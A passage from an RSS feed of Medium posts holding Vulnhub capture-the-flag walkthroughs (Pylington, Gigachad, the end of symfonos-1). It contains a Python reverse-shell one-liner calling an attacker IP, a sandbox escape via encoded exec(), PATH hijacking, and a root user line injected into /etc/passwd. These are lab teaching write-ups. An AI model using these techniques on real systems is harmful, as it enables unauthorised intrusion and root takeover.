src="https://cdn-images-1.medium.com/max/944/1*Pw_555SEf9z7qzbqNOWrfA.png" /></figure><p>Now let’s view the page again to get a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*ztMLfWH74KVVtwvxyvM4Kw.png" /></figure><h3>Privilege Escalation</h3><p>Begin by searching the system for SUID binaries.</p><pre>find / -perm -u=s -exec ls -la {} \; 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lU5408w0PU9Ktm5d1XgWdw.png" /></figure><p>Let’s check out /opt/statuscheck .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-YxAYriuLOhxFW_j2NQ38w.png" /></figure><p>Apparently the binary is sending a web request.</p><p>We’ll run strings on it to see if there is anything interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*ODN2ltW6f3_Lqy0Jyl4LEg.png" /></figure><p>The binary is executing curl (used to send web requests) without an absolute path. In this scenario, we can manipulate the $PATH variable to execute a malicious version of curl. In short, the $PATH variable tells the system where to look for programs. Without $PATH, we would have to specify the complete path of each program e.g /usr/bin/curl</p><p>Let’s create a malicious version of curl and see if we can add a user with root permissions to /etc/passwd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yjdv3ronM6wP0ZTWRofGAg.png" /></figure><p><strong>Note:</strong> run ‘chmod +x’ on the malicious curl to make it executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*82QWnablTrZ102Zwd4HLOg.png" /></figure><p>We have gained root privileges. Read the root flag in the /root/ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*Na8m-uYRc1vw9Uwvr84HaA.png" /></figure><p>Congratulations on completing symfonos-1 from Vulnhub.</p><p>If you have any queries, feel free to contact me via email or hit me up on Twitter.</p><p>My email: <a href="/service/mailto:salmanahmed69890@gmail.com">salmanahmed69890@gmail.com</a></p><p>My twitter: @porcupine690</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a4ace7c9786" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub: Pylington Walkthrough]]></title>
            <link>https://salmanahmed69890.medium.com/vulnhub-pylington-walkthrough-6ccd2dd65132?source=rss-b2efbbcccf0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ccd2dd65132</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Salman Ahmed]]></dc:creator>
            <pubDate>Sat, 24 Apr 2021 18:40:01 GMT</pubDate>
            <atom:updated>2021-04-24T18:40:01.304Z</atom:updated>
            <content:encoded><![CDATA[<p>Machine details</p><ul><li>Title: Pylington</li><li>Author: Peter Ye</li><li>Difficulty: Intermediate</li><li>Flags: 2 (user and root)</li><li>Techniques: Sensitive File Exposure, Command Injection, SUID Binaries</li><li>Operating System: Linux</li></ul><h3>Scanning and Enumeration</h3><p>We will get started by discovering the IP address of the machine. You can use netdiscover, nmap, arp-scan or any other tool you prefer.</p><p>I used an nmap ping scan.</p><pre>nmap -sn -T4 -n 10.0.2.0/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*V5LcVV7ZLQlH7Jjd2f-dbg.png" /></figure><p>Now let’s run a port scan to discover all open ports on the target.</p><pre>nmap -sS -T4 -Pn -n 10.0.2.11 -oN nmap_allport_pylington</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*qg7EiWK5kUJ6og36neFZFg.png" /></figure><p>We can see that only two ports, 22(ssh) and 80(http) are open. Let’s run an aggressive scan to detect the service versions and other important information.</p><pre>nmap -T4 -A -p 22,80 10.0.2.11 -oN nmap_aggressive_pylington</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G6NrnYsQaUDUSzTDrG81Sw.png" /></figure><p>OpenSSH 8.5 is running on port 22 and Apache 2.4.46 is on port 80. Both of these are up to date and have no known vulnerabilities at this time.</p><h3>Web Application</h3><p>We’ll begin enumerating the web application by using whatweb to see what technologies it’s powered by</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMRdj_67uvep6dQA2mRtaQ.png" /></figure><p>The website seems to be powered by Python and supposedly is used to run Python code from the cloud.</p><p>Visiting the homepage reveals that the web application is hosting an online IDE. An IDE (integrated development environment) is software allows one to type, run and debug code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rphNRJlL_X5gACo08X2QPg.png" /></figure><p>Let’s discover any hidden content on the web server by running gobuster against it.</p><pre>gobuster dir -u <a href="http://10.0.2.11/">http://10.0.2.11/</a> -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n1MowCxZWXy0C8Agf5gStw.png" /></figure><p>Let’s examine the contents of robots.txt to see if there are any unique hidden pages that weren’t detected by gobuster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*lGFZaYbFgiaQlNbOgf3NLQ.png" /></figure><p>The uniquely named page contains the credentials for a user ‘steve’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*7iETnyyB1nXs6sSb39vkfQ.png" /></figure><p>Using them against SSH didn’t work so let’s try and use them to sign in to the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*gVHUQb67aY4vQ55gl4zkLA.png" /></figure><p>After successfully logging in as steve, follow the ‘Welcome back, Steve’ link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EZsgXAOqbUTCNSZsoglOtA.png" /></figure><p>Let’s view the sandbox source code by downloading it from the link provided on the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*xV41eOCQYM4LtTiYvofxng.png" /></figure><p>Apparently the IDE doesn’t allow us to import any modules, use OS commands or open any files. Let’s test this by entering them into the Program section and running the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*aDHH93eTXHXwi4W7-ev3og.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*I70tR85_fdZlzajZsutVEg.png" /></figure><p>While these three cannot be used, eval() and exec() still work fine. However we still need to be able to interact with the system to gain a foothold on the box. We can work around these limitations and execute arbitrary code by converting the code we want to run into binary form, decoding it and passing it to exec(). We can test this by running a simple ‘uname -a’ command using the os module.</p><p>First let’s write the code we want to execute and convert it into binary form. You can use CyberChef to do this. It’s available on <a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></p><pre>import os<br>print(os.system(&quot;uname -a&quot;))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*0r0PShKeYMCm1d-CDlSpdA.png" /></figure><p>Save the binary output to a file. Now let’s write the code which converts this binary input to normal text and passes it to exec() for execution.</p><p><strong>Note:</strong> If you don’t want to write the code by hand, you can get it from my Github repository over at <a href="https://github.com/salman-ahm3d/pylington_exploit">https://github.com/salman-ahm3d/pylington_exploit</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZpOAic88oMfcTAGN9P3B3A.png" /></figure><p><strong>Note:</strong> The original code for converting binary input to ASCII text is from Kite and can be found here <a href="https://www.kite.com/python/answers/how-to-convert-binary-string-to-and-from-ascii-text-in-python">https://www.kite.com/python/answers/how-to-convert-binary-string-to-and-from-ascii-text-in-python</a></p><p>Now copy this code over to the IDE and run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*juPsu972VYiO9biWyNZq7A.png" /></figure><h3>Gaining initial foothold</h3><p>Now that we can execute arbitrary code on the target, let’s get a reverse shell. A lot of reverse shell one-liners are available on this Github page</p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md</a></p><p>We’ll grab the Python IPV4 one and convert the code within the quotation marks into binary. Remember to specify your IP address and the port number you’re listening on.</p><pre>python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;&lt;ATTACKER IP&gt;&quot;,&lt;LISTENER PORT&gt;));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Let’s start a netcat listener on port 9001.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*Cwm6EFwSqr4jV2Zh49cCrQ.png" /></figure><p>Once the code is in binary form, replace it with the binary string from our previous exploit code. Then copy the code over to the Program box and run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mPo90cBCxyhHCrnxaInndw.png" /></figure><p>We now have a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*W3NlCyn7XTVFP8ZOoUSKaQ.png" /></figure><h3>Privilege Escalation: User</h3><p>Let’s begin privilege escalation by searching for SUID binaries on the system.</p><pre>find / -perm -u=s -exec ls -la {} \; 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LFbBThgyIK8-SrpnSa3UQg.png" /></figure><p>The first binary ‘typing’ in the user ‘py’ home directory immediately pops out. Let’s list py’s home directory and see if there is anything else of interest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*4yY9S7ey4RoUX5fYhzRKEw.png" /></figure><p>The file ‘typing.cc’ contains the source code of the SUID binary. Let’s read it to see what it does</p><pre>#include &lt;iostream&gt;<br>#include &lt;string&gt;<br>#include &lt;iterator&gt;<br>#include &lt;fstream&gt;<br>#include &lt;algorithm&gt;<br>​<br>int main(){<br>    std::cout&lt;&lt;&quot;Let&#39;s play a game! If you can type the sentence below, then I&#39;ll tell you my password.\n\n&quot;;<br>​<br>    std::string text=&quot;the quick brown fox jumps over the lazy dog&quot;;<br>​<br>    <br>    std::cout&lt;&lt;text&lt;&lt;&#39;\n&#39;;<br>​<br>    std::string line;<br>    std::getline(std::cin,line);<br>​<br>    if(line==text){<br>        std::ifstream password_file(&quot;/home/py/password.txt&quot;);<br>        std::istreambuf_iterator&lt;char&gt; buf_it(password_file),buf_end;<br>        std::ostreambuf_iterator&lt;char&gt; out_it (std::cout);<br>        std::copy(buf_it,buf_end,out_it);<br>    }<br>    else{<br>        std::cout&lt;&lt;&quot;WRONG!!!\n&quot;;<br>    }<br>}<br>​</pre><p>The binary checks if the text input is the same as the given phrase and if so, it displays the password.</p><p>Let’s run it and and enter the required phrase to get py’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TYWYl0Qcf83D7fLpaPt1EA.png" /></figure><p>SSH into the machine as py with the password we found and read the user flag.</p><pre>ssh py@10.0.2.11</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*xGa7hthyqbKCUbDkDI6ckg.png" /></figure><h3>Privilege Escalation: Root</h3><p>Again, we begin by searching the system for any SUID binaries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*X0EiGKt64VmmdQviRTAV3A.png" /></figure><p>The first SUID binary ‘backup’ is owned by root and can be executed by the user ‘py’. Let’s cd into the secret_stuff directory and see if there is anything else of interest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*ADAa1DlyYFi3MsW8GqZNPg.png" /></figure><p>The file backup.cc contains the source code of the SUID binary. Let’s read it to see if it contains any weaknesses.</p><pre>#include &lt;iostream&gt;<br>#include &lt;string&gt;<br>#include &lt;fstream&gt;</pre><pre>int main(){<br>    std::cout&lt;&lt;&quot;Enter a line of text to back up: &quot;;<br>    std::string line;<br>    std::getline(std::cin,line);<br>    std::string path;<br>    std::cout&lt;&lt;&quot;Enter a file to append the text to (must be inside the /srv/backups directory): &quot;;<br>    std::getline(std::cin,path);</pre><pre>if(!path.starts_with(&quot;/srv/backups/&quot;)){<br>        std::cout&lt;&lt;&quot;The file must be inside the /srv/backups directory!\n&quot;;<br>    }<br>    else{<br>        std::ofstream backup_file(path,std::ios_base::app);<br>        backup_file&lt;&lt;line&lt;&lt;&#39;\n&#39;;<br>    }</pre><pre>return 0;</pre><pre>}</pre><p>Reading through the code, we can see that the program allows us to append any string to a file present in the /srv/backups directory. However, the program only checks if the path begins with /srv/backups (use of stars_with function). This opens up an avenue of exploitation because in Linux, we can specify paths indirectly as shown below</p><pre>cd /home/py/../../your/path/here #This would change the directory to /your/path/here</pre><p>First let’s see if the binary works as specified in the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JUY8jTYqVz-GbpdRfcBZ1w.png" /></figure><p>Now let’s test it to see if it is possible to supply any path we want and append text to a file. Keep in mind that the binary only checks if the path begins /srv/backups .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*81ShguwMbr0FeZw2HCo2mA.png" /></figure><p>We have successfully created a file outside /srv/backups and appended text to it. Since the binary <strong>appends</strong> text to a file, we can use this functionality to add an arbitrary user with root permissions by editing the /etc/passwd file. You can read more about this here <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-etc-passwd">https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-etc-passwd</a></p><p>Let’s add a user ‘hacker’ with the password ‘hacker’ having root permissions. The required string is</p><pre>hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Er6OIqtlN_EiGDbTzUvlHg.png" /></figure><p>We have successfully gained root permissions on this box. Read the root.txt file in the /root directory to get the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*LI0mQeWruwNX5HtjQvg64Q.png" /></figure><p>Congratulations on successfully completing Pylington from Vulnhub.</p><p>If you have any queries, feel free to contact me via email or hit me up on Twitter.</p><p>My email: <a href="/service/mailto:salmanahmed69890@gmail.com">salmanahmed69890@gmail.com</a></p><p>My twitter: <a href="https://twitter.com/porcupine690">@porcupine690</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ccd2dd65132" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub: Gigachad Walkthrough]]></title>
            <link>https://salmanahmed69890.medium.com/vulnhub-gigachad-walkthrough-7e209ac6299a?source=rss-b2efbbcccf0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e209ac6299a</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Salman Ahmed]]></dc:creator>
            <pubDate>Mon, 19 Apr 2021 17:23:56 GMT</pubDate>
            <atom:updated>2021-04-19T17:23:56.166Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnhub: Gigachad Walkthrough</h3><p>Machine details</p><ul><li>Title: Gigachad</li><li>Author: tasiyanci</li><li>Difficulty: Easy</li><li>Flags: 2 (user and root)</li><li>Techniques: Service Misconfiguration, Weak Passwords, Public Exploit</li><li>Operating System: Linux</li></ul><h3>Getting started</h3><p>Let’s start by running a ping scan on the subnet to discover the IP address of the target.</p><pre>nmap -sn -T4 -n 10.0.2.0/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*EXcBi6WA6Lh2vfk8r-hjpQ.png" /></figure><p>Note that your IP address scheme might be different. To find out your IP address and what network you are on, run <strong>ifconfig</strong></p><p>The IP address of the target is 10.0.2.8</p><p>Now let’s run an nmap scan to discover all open TCP ports on the target.</p><pre>sudo nmap -sS -T4 -Pn -n -p- 10.0.2.8 -oN nmap_allport_gigachad</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*OnnYg9vPlU5_A2dYyuQkRA.png" /></figure><p>Only 3 ports are open. The next step is to run an aggressive nmap scan on these 3 ports to discover what services are running on them.</p><pre>sudo nmap -T4 -A -p 21,22,80 10.0.2.8 -oN nmap_aggressive_gigachad</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*38XiYbpL2F2mm-lPWEFt_w.png" /></figure><p>All these services are relatively up to date and do not have any public exploits available. Let’s start looking into the individual services.</p><p>We can see that FTP is allowing anonymous logins. Let’s log in to the FTP server with the username <strong>“anonymous”</strong> and a blank password and see if there are any interesting files.</p><pre>ftp 10.0.2.8</pre><p>After successfully logging in, listing the directory shows a file called <strong>“chadinfo”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*l3I-a4t_KjAqjMWWr7VQ2A.png" /></figure><p>Let’s download it onto our system and view its contents using <strong>cat</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*L332dcMBkrJUdAvFZF9cdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*NIzmAKBXlBHWQia1bwOSIg.png" /></figure><p>It provides us with the username “chad” and tells us to view /drippingchad.png for the password.</p><p>Now that we’re moving onto the web application, let’s begin enumeration by running <strong>whatweb</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9u0ECuLVI-Z9gJLcvxXnuA.png" /></figure><p>Let’s also run <strong>gobuster</strong> to discover any hidden directories or files on the webserver.</p><pre>gobuster dir -u <a href="http://10.0.2.8/">http://10.0.2.8</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster_medium_gigachad</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wqJaufNcReh4D8minBS3RQ.png" /></figure><p>A 301 Status Code indicates that the resource has been moved to another location. Getting a 301 response on virtually every request isn’t normal.</p><p>Let’s view one of these directories using a browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*VNTwKVNBFO61SXxBlb0gGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2KQexiSxtP2WhMrHtSBMMg.png" /></figure><p>None of these directories contain anything useful.</p><p>Let’s explore the site from the homepage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kE88pSMPGq8VCaW-1TDbwA.png" /></figure><p>Viewing the source code of the homepage reveals that there are two cryptographic hashes hidden in the source of the page. To view the source, press <strong>Ctrl+U</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*PPNWijDZwrkjEosKAMjTPw.png" /></figure><p>Let’s copy these and save them to a file so we can crack them using John The Ripper.</p><pre>sudo john hash1.txt hash2.txt --wordlist=/opt/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*y_OmpUe75mtNeoaNIAmYaA.png" /></figure><p>Note that I didn’t run the above mentioned command as I had already cracked the hashes beforehand.</p><p>These hashes seem to have misdirected us. Now we view the /robots.txt entry /kingchad.html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*GqXoAyMtARnCjO1e_XKAbQ.png" /></figure><p>Moving on, let’s open /drippinchad.png in our browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eVP6ybsIcfdCZYb2rpfRlA.png" /></figure><p>Reverse searching this image on Google tells us that this is a picture of Maiden’s Tower in Istanbul, Turkey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DrzMo8kJW50dd_fWdDrIlA.png" /></figure><p>Since this file was supposed to hint towards a password, let’s try logging in as the user “chad” using “maidenstower” as the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*tybZCgSxqUfuukOXXZypPQ.png" /></figure><p>Successful login. Let’s read the “user.txt” file in chad’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/1*54bXZNqfdFLru-fP5Fgbsw.png" /></figure><p>Now let’s look for ways to escalate our privileges to root. Let’s start by searching the system for binaries with the SUID bit set.</p><pre>find / -perm -u=s -exec ls -la {} \; 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*v2S7KB9OBM2mwWXM5r_L8w.png" /></figure><p>The second binary in the output, “<strong>s-nail-privesp</strong>” was last modified in 2016 and is the odd one out of the other binaries here. Searching for it on Google shows that it can be exploited to escalate privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3XCFGVsjj-FJkjvVvlyqNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u_pYz5W7ERDIWmcVUdaPkw.png" /></figure><p>Let’s save the exploit code to a file in /tmp and make it executable using <strong>chmod</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LU-A8TNSJ4zhnmVg7MD0-w.png" /></figure><p>Now let’s run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*TZ6wzfrEBlNL0E-FDju-yQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*zy0CfmFCkgpAKzm1XEBcLg.png" /></figure><p>The exploit ran successfully and we are now the root user.</p><p>Congratulations, we have successfully rooted the Gigachad box from Vulnhub.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e209ac6299a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>